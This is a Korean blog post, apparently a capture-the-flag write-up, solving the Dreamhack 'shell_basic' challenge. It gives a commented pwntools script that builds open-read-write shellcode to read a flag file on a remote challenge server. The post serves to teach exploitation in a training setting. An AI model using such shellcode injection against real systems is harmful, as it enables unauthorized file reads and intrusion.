본문 바로가기
CTF/Dreamhack

[Dreamhack] shell_basic

by 8희 2023. 5. 30.

https://dreamhack.io/wargame/challenges/410

 

shell_basic

Description 입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다. main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는

dreamhack.io

 

이 문제는 셸크래프트를 이용해서 푸는 문제이다.

 

* 파이썬 모듈 pwntools의 shellcraft 

- pwntools는 execve 셸코드를 작성할 뿐만 아니라 open, read, write 시스템 콜을 모두 지원한다. 

- 셸크래프트는 해당 시스템콜의 어셈블리어코드를 만들어주므로 orw, 즉 open, read, write 시스템콜하여 쉘코드를 만들어야 한다.

 

from pwn import * #pwntools 모듈을 사용하기 위해 pwn 임포트 
#pwntools 모듈에 있는 함수와 클래스를 제한없이 사용하기 위해 전체 다 임포트!

p = remote("접속할 서버", 포트번호) 
#접속해야 하는 서버의 주소와 포트번호를 입력한 객체를 하나 생성하여 p에 저장

context.arch = "amd64" #context는 pwntools 설정에 쓰인다.
#context 중 arch는 pwntools에서 사용되는 프로세서 언어를 설정하는 속성
#context.arch를 amd64로 설정하면 amd64에 맞는 환경으로 pwntools를 설정해 준다.
r = "/home/shell_basic/flag_name_is_loooooong"
#r에는 flag 값이 들어있는 경로를 넣는다. 이후에 쉘코드를 만들 때 파일을 여는 경로로 설정된다.

shellcode = '' #셸 코드 간편하게 작성하기 위해 shellcraft를 이용
shellcode += shellcraft.open(r) #shellcraft.open을 통해 미리 지정한 파일 열기
shellcode += shellcraft.read('rax', 'rsp', 0x100) #shellcraft.read로 이를 읽기
shellcode += shellcraft.write(1, 'rsp', 0x100) #shellcraft.write로 콘솔에 출력

print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
#생성한 쉘 코드를 asm함수를 사용하여 어셈블리어로 변환한 후에 서버로 전송
#그리고 결과값을 받아와서 출력

 

위 코드를 리눅스 환경에서 실행하면 플래그 값을 얻을 수 있다.

 

 

참고

https://ludere.tistory.com/53

 

'CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] simple-web-request  (0) 2023.09.16
[Dreamhack] phpreg  (0) 2023.09.13
[Dreamhack] RSA-wiener  (1) 2023.05.30
[Dreamhack] proxy-1  (0) 2023.05.24
[Dreamhack] Basic_Crypto1  (0) 2023.05.24